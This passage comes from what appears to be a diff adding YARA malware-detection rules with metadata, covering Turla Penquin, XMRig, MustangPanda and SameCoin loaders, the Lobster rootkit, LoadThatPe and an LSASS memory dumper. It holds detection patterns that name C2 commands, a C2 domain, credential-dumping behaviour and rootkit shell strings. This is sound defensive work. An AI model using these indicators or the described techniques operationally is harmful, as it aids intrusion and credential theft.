fullword\n        $cc_dlsym_private    = \"do_dlsym_private\" ascii fullword\n        $cc_readv            = \"do_readv\" ascii fullword\n        $cc_writev           = \"do_writev\" ascii fullword\n        $cc_vslist           = \"do_vslist\" ascii fullword\n        $cc_start            = \"do_start\" ascii fullword\n        $cc_vsdownlod        = \"do_vsdownlod\" ascii fullword\n        $cc_ssl_connect      = \"do_ssl_connect\" ascii fullword\n        $cc_vsstat           = \"do_vsstat\" ascii fullword\n        $cc_cd               = \"do_cd\" ascii fullword\n        $cc_download         = \"do_download\" ascii fullword\n        $cc_exit             = \"do_exit\" ascii fullword\n        $cc_exec             = \"do_exec\" ascii fullword\n        $cc_upload           = \"do_upload\" ascii fullword\n        $cc_vsupload         = \"do_vsupload\" ascii fullword\n        $cc_vsdelete         = \"do_vsdelete\" ascii fullword\n        $cc_setenv           = \"do_setenv\" ascii fullword\n        $cc_vsshutdown       = \"do_vsshutdown\" ascii fullword\n        $user_s1 = \"Extracted ip  : %s Hex: %lx\" ascii fullword\n        $user_s2 = \"Extracted port: %d Hex: %x\" ascii fullword\n        $user_s3 = \"TREX_PID=%u\" ascii fullword\n        $user_s4 = \"File olready exist on VS !\" ascii fullword\n        $user_s5 = \"Read or recive 0 status\" ascii fullword\n        $user_s6 = \"Err open on remote side: %s\" ascii fullword\n\n        $fatal_s1 = \"__we_are_happy__\" ascii fullword\n        $fatal_s2 = \"/tmp/.xdfg\" ascii fullword\n        $fatal_s3 = \"__TREX__STOP__STRING__\" ascii fullword\n        $fatal_s4 = \"news-bbc.podzone.org\" ascii fullword\n\n    condition:\n        uint16(0) == 0x457f and filesize < 10MB and (\n            25 of ($cc_*) // 3/4 of C&C commands\n            or 4 of ($user_s*) // 3/4 of user strings\n            or any of ($fatal_s*) // Any fatal string\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_turla_penquin_669a2fe790f1"
+  ],
+  "rule_creation_date": "2023-01-11",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.TurlaPenquin"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1040",
+    "attack.t1059",
+    "attack.t1573.002",
+    "attack.t1105",
+    "attack.t1205"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_xmrig_cryptominer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586467Z",
+  "creation_date": "2026-03-23T11:46:25.586469Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586475Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1496/\nhttps://github.com/xmrig/xmrig"
+  ],
+  "name": "linux_xmrig_cryptominer.yar",
+  "content": "rule xmrig_linux {\n    meta:\n        title = \"XMRig Cyrptominer (Linux)\"\n        id = \"1bd67941-ad3d-46d5-a064-02e13241e521\"\n        description = \"Detects the XMRig Cryptominer on Linux systems.\\nXMRig is a widely-used open-source cryptocurrency miner that can be abused by adversaries to perform unauthorized mining activities on victim machines.\\nThis can lead to significant resource consumption and impact system performance.\\nIt is recommended to disable unnecessary cryptocurrency mining activities on systems to mitigate the risk of abuse.\"\n        references = \"https://attack.mitre.org/techniques/T1496/\\nhttps://github.com/xmrig/xmrig\"\n        date = \"2022-11-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1496\"\n        classification = \"Linux.CryptoMiner.XMRig\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c41ebb332668c6f12a02c044136783e0cb98915a68fe2cc7d2413799f835ee8d\n        // d911a685f62ef904030b1fffab7e6b93a1e2ce1d44dc55c859fcb8bbcec11b6b  xmrig-6.21.3-focal-x64\n        // 4e855dab9cba525518aa6782ba70c4f7519930d9c8c58a575dfbe25ec2cc4a35  xmrig-6.21.3-jammy-x64\n        // 72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f  xmrig-6.21.3-linux-static-x64\n        // 0366f72ee68e80a6f21fa61a854cd445142238bbad12a04a5d8e20ae72b4702c  xmrig-6.21.3-noble-x64\n\n        $s1 = \"libxmrig-cuda.so\" ascii\n        $s2 = \"xmrig_ar2_\" ascii\n        $s3 = \"XMRIG_VERSION\" fullword ascii\n        $s4 = \"XMRIG_KIND\" fullword ascii\n        $s5 = \"xmrig.json\" ascii\n\n    condition:\n        uint16(0) == 0x457f and 3 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xmrig_linux"
+  ],
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.CryptoMiner.XMRig"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-loader_mustangpanda_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576514Z",
+  "creation_date": "2026-03-23T11:46:25.576516Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576522Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims"
+  ],
+  "name": "loader_mustangpanda.yar",
+  "content": "rule loader_mustangpanda {\n    meta:\n        title = \"MustangPanda Loader\"\n        id = \"9c6fe632-8f1b-452f-bd49-01af4acb4e5d\"\n        description = \"Detects the MustangPanda loader usually included into malicious DLL destined to be side-loaded by legitimate software.\\nThe loader has been utilized by the MustangPanda attacker group in a campaign targeting Myanmar.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims\"\n        date = \"2022-10-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.persistence;attack.t1574.001\"\n        classification = \"Windows.Loader.MustangPanda\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detects these samples:\n        // 74fe609eb8f344405b41708a3bb3c39b9c1e12ff93232d4b7efe648d66ea7380\n        // a0d7e541d5c579d2e0493794879fee58d8603b4f3fb146df227efa34c23d830e\n        // efade7cf8f2caeb5a5d1cf647796975b0b153feac67217fccbdd203e473a4928\n\n        $payload_decryption_1 = {\n            34 FF     // xor     al, 0FFh\n            80 CC 01  // or      ah, 1\n            20 E0     // and     al, ah\n            08 C6     // or      dh, al\n            88 F0     // mov     al, dh\n            34 FF     // xor     al, 0FFh\n            88 CA     // mov     dl, cl\n            30 C2     // xor     dl, al\n            20 CA     // and     dl, cl\n            88 C8     // mov     al, cl\n            34 FF     // xor     al, 0FFh\n            88 F4     // mov     ah, dh\n            20 C4     // and     ah, al\n            80 F6 FF  // xor     dh, 0FFh\n            20 F1     // and     cl, dh\n            08 CC     // or      ah, cl\n            88 D0     // mov     al, dl\n            20 E0     // and     al, ah\n            30 E2     // xor     dl, ah\n            08 D0     // or      al, dl\n            A8 01     // test    al, 1\n        }\n\n        $payload_decryption_2 = {\n            83 E8 01  // sub     eax, 1\n            89 CE     // mov     esi, ecx\n            01 C6     // add     esi, eax\n            0F AF CE  // imul    ecx, esi\n            83 E1 01  // and     ecx, 1\n            83 F9 00  // cmp     ecx, 0\n            0F 94 C3  // setz    bl\n            83 FA 0A  // cmp     edx, 0Ah\n            0F 9C C7  // setl    bh\n            88 D8     // mov     al, bl\n            20 F8     // and     al, bh\n            30 FB     // xor     bl, bh\n            08 D8     // or      al, bl\n            A8 01     // test    al, 1\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 10MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "loader_mustangpanda"
+  ],
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.MustangPanda"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-loader_samecoin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583663Z",
+  "creation_date": "2026-03-23T11:46:25.583665Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583671Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/NicoleFishi19/status/1756936882095534532"
+  ],
+  "name": "loader_samecoin.yar",
+  "content": "rule samecoin_campaign_loader {\n    meta:\n        title = \"SameCoin Loader\"\n        id = \"fee803e8-9ffd-4827-83a5-d456e9a368aa\"\n        description = \"Detects the SameCoin loader.\\nThe SameCoin campaign uses a loader to distribute its malicious payloads. This loader is designed to inject malicious code into legitimate processes to evade detection and establish persistence on the compromised system.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://twitter.com/NicoleFishi19/status/1756936882095534532\"\n        date = \"2024-02-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.privilege_escalation;attack.t1548.004;attack.defense_evasion;attack.t1656;attack.t1036.005;attack.discovery;attack.t1614.001\"\n        classification = \"Windows.Loader.SameCoin\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // cff976d15ba6c14c501150c63b69e6c06971c07f8fa048a9974ecf68ab88a5b6\n\n        $hebrew_layout = \"0000040d\" fullword ascii\n        $runas = \"runas\" fullword ascii\n        $jpg_magic = { FF D8 FF E0 00 10 4A 46 49 46 00 01 }\n        $wl_1 = \"C:\\\\Users\\\\Public\\\\Microsoft Connection Agent.jpg\" ascii\n        $wl_2 = \"C:\\\\Users\\\\Public\\\\Video.mp4\" ascii\n        $wl_3 = \"C:\\\\Users\\\\Public\\\\Microsoft System Agent.exe\" ascii\n        $wl_4 = \"C:\\\\Users\\\\Public\\\\Microsoft System Manager.exe\" ascii\n        $wl_5 = \"C:\\\\Users\\\\Public\\\\Windows Defender Agent.exe\"\n\n    condition:\n        uint16(0) == 0x5A4D and filesize > 5MB and filesize < 7MB and\n        $hebrew_layout and $runas and $jpg_magic and 3 of ($wl_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "samecoin_campaign_loader"
+  ],
+  "rule_creation_date": "2024-02-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.SameCoin"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1614.001",
+    "attack.t1548.004",
+    "attack.t1036.005",
+    "attack.t1106",
+    "attack.t1656"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-loadthatpe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566462Z",
+  "creation_date": "2026-03-23T11:46:25.566464Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566470Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ProcessusT/LoadThat-PEandAssembly"
+  ],
+  "name": "loadthatpe.yar",
+  "content": "rule loadthatpe {\n    meta:\n        title = \"LoadThatPe HackTool\"\n        id = \"1202979d-de81-47a7-adcf-6872c21a2941\"\n        description = \"Detects LoadThatPe.exe, a tool designed to execute a Portable Executable file without using the native Windows PE loader.\\nIt is recommended to examine the context in which this tool is executed to determine whether its use is legitimate.\"\n        references = \"https://github.com/ProcessusT/LoadThat-PEandAssembly\"\n        date = \"2025-09-29\"\n        modified = \"2025-10-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.HackTool.LoadThatPe\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for theses samples:\n        // 78729188b083b1235a01b4ceb4a34306e02fed30c24eb972644557d8b817d0f6\n        // 62ae7f52b6f0e0f93e71eac7c1d522e1254c60e02ddc45c890a41b6cc8e80430\n        // 18bdb0c78a10e586230760cfbb8826d703c71a1ffbdf3cd73c557ae4d0471fbc\n        // f0b0449d4aea4ab23e9067ad8e386cb1157fdc778dd97baafdd380d12da5135e\n\n        $s1 = \"[-] Table des imports non trouvee ou adresse invalide.\" ascii fullword\n        $s2 = \"[-] Nom de module invalide ou introuvable.\" ascii fullword\n        $s3 = \"[-] Echec du chargement de la bibliotheque :\" ascii fullword\n        $s4 = \"[-] Nom de fonction invalide ou introuvable.\" ascii fullword\n        $s5 = \"[-] Echec de la resolution de l'importation.\" ascii fullword\n        $s6 = \"[-] Erreur dans ResolveImports :\" ascii fullword\n        $s7 = \"[-] Erreur inconnue dans ResolveImports.\" ascii fullword\n        $s8 = \"[-] Erreur : echec de la recuperation du contexte du thread. Code d'erreur :\" ascii fullword\n        $s9 = \"[-] Acces refuse. Verifiez les permissions ou le mode 32/64 bits.\" ascii fullword\n        $s10 = \"[-] Handle de thread invalide.\" ascii fullword\n        $s11 = \"[-] Architecture non prise en charge (32/64 bits incompatible ?).\" ascii fullword\n        $s12 = \"[+] Redefinition de RIP : 0x\" ascii fullword\n        $s13 = \"[-] L'adresse d'entree est hors des limites du PE mappe.\" ascii fullword\n        $s14 = \"[-] Erreur : echec de la definition du point d'entree.\" ascii fullword\n        $s15 = \"D:\\\\lab\\\\LoadThatPE-main\\\\x64\\\\Release\\\\LoadThatPE.pdb\" ascii fullword\n\n    condition:\n        2 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "loadthatpe"
+  ],
+  "rule_creation_date": "2025-09-29",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.LoadThatPe"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lobster_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586352Z",
+  "creation_date": "2026-03-23T11:46:25.586354Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586359Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dl.acm.org/doi/10.1145/3688808\nhttps://www.virustotal.com/gui/file/b9b22cea4758eaacea8c80dc1094a754b9fa3ecca4698e92726f3e4ae15d2664"
+  ],
+  "name": "lobster.yar",
+  "content": "rule linux_library_rootkit_lobster {\n    meta:\n        title = \"Lobster Rootkit\"\n        id = \"06cda615-b5d5-43a1-8b25-48cf07abb5b6\"\n        description = \"Detects the Lobster LD_PRELOAD userland rootkit.\\nLobster is a userland rootkit that hijacks environment variables used by the dynamic linker to load shared libraries.\\nThis technique allows the rootkit to intercept and control function calls, establishing persistence on the system.\"\n        references = \"https://dl.acm.org/doi/10.1145/3688808\\nhttps://www.virustotal.com/gui/file/b9b22cea4758eaacea8c80dc1094a754b9fa3ecca4698e92726f3e4ae15d2664\"\n        date = \"2023-12-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.persistence;attack.t1574.006;attack.defense_evasion;attack.t1014;attack.t1070;attack.t1564;attack.credential_access;attack.t1556;attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Rootkit.Lobster\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1d9e5dc2e81397f478764792de229efe110f2448478ca8e314af20864447cca3\n        // a4d707a75d655eb5f55e8d0a44483499c57b98cbd42ed90dd5e6783c94b90c1b\n        // ac1d77340df2ee1f96e659e8fdfc581dec77ac2ae7479e873eda5816ef6e24a1\n\n        $a1 = \"falsify_tcp\" ascii fullword\n        $a2 = \"lpe_drop_shell\" ascii fullword\n        $a3 = \"D431\" ascii fullword\n        $a4 = \"lobster\" ascii fullword\n        $a5 = \"Enjoy the shell!\" ascii fullword\n        $a6 = \"backconnect\" ascii fullword\n        $a7 = \"timebomb\" ascii fullword\n        $a8 = \"\\n\\nAUTHENTICATE: \" ascii fullword\n        $a9 = \"\\x1B[1m\" ascii fullword\n        $a10 = { 6F444045530A5E424F0A59424F46460B } // Frobnicated \"Enjoy the shell!\"\n\n    condition:\n        (uint32be(0) == 0x7F454c46) // ELF\n        and ((uint16be(0x10) == 0x03) or (uint16(0x10) == 0x03)) // ET_DYN\n        and (6 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_library_rootkit_lobster"
+  ],
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Lobster"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095",
+    "attack.t1070",
+    "attack.t1564",
+    "attack.t1014",
+    "attack.t1556",
+    "attack.t1574.006",
+    "attack.t1059.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lsasssilentprocessexit_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567849Z",
+  "creation_date": "2026-03-23T11:46:25.567851Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567857Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/\nhttps://github.com/deepinstinct/LsassSilentProcessExit/"
+  ],
+  "name": "lsasssilentprocessexit.yar",
+  "content": "rule lsass_silent_process_exit {\n    meta:\n        title = \"LsassSilentProcessExit HackTool\"\n        id = \"de5b24c8-cfbf-4678-a416-f75854db9adb\"\n        description = \"Detects LsassSilentProcessExit, a memory dumper that extracts LSASS process memory using the silent process exit mechanism without crashing the target process.\\nLsassSilentProcessExit is a tool designed to dump the memory of the LSASS process on Windows systems. It operates by leveraging the silent process exit technique to avoid crashing the LSASS process, which is commonly used for credential access and persistence. The tool allows users to specify the LSASS process ID and dump mode, and it attempts to enable debug privileges and modify system registry settings to facilitate the dumping process.\\nIt is recommended to investigate for any dumped LSASS memory files in the default location, typically \\\"C:\\\\temp.\\\"\"\n        references = \"https://attack.mitre.org/techniques/T1003/001/\\nhttps://github.com/deepinstinct/LsassSilentProcessExit/\"\n        date = \"2024-01-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.LsassSilentProcessExit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ecc61aa00d4a6e08282e4bb0ef8f8771b1c7b54e6a99bdfe274adbdf8f84ea20\n        // 73932cb7095cd17e59e79a2c61b8fd1d02ddeb8105faa73f135af393b0e6753a\n        // 0ab2164ad6a20ce290a7327816b8f771620a6245ac32b9c8c150308c9808767b\n\n        $s1 = \"Usage: LsassSilentProcessExit.exe <LSASS_PID> <DUMP_MODE>\" fullword ascii\n        $s2 = \"DUMP_MODE:\" fullword ascii\n        $s3 = \"0 - Call RtlSilentProcessExit on LSASS process handle\" fullword ascii\n        $s4 = \"1 - Call CreateRemoteThread on RtlSilentProcessExit on LSASS\" fullword ascii\n        $s5 = \"Setting up debug privilege...\" fullword ascii\n        $s6 = \"ERROR: Failed to enable debug privilege!\" fullword ascii\n        $s7 = \"Setting up GFlags & SilentProcessExit settings in registry...\" fullword ascii\n        $s8 = \"ERROR: Could not set registry values!\" fullword ascii\n        $s9 = \"RtlReportSilentProcessExit\" fullword ascii\n        $s10 = \"ERROR OpenProcess() failed with error:\" fullword ascii\n        $s11 = \"RtlReportSilentProcessExit() NTSTATUS:\" fullword ascii\n        $s12 = \"DONE! Check out the dump folder (C:\\temp)\" fullword ascii\n        $s13 = \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\\" fullword ascii\n        $s14 = \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\\" fullword ascii\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lsass_silent_process_exit"
+  ],
+  "rule_creation_date": "2024-01-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.LsassSilentProcessExit"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lumma_stealer_memory_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576275Z",
+  "creation_date": "2026-03-23T11:46:25.576278Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576283Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\nhttps://www.0x1c.zip/0001-lummastealer/"
+  ],
+  "name": "lumma_stealer_memory.yar",
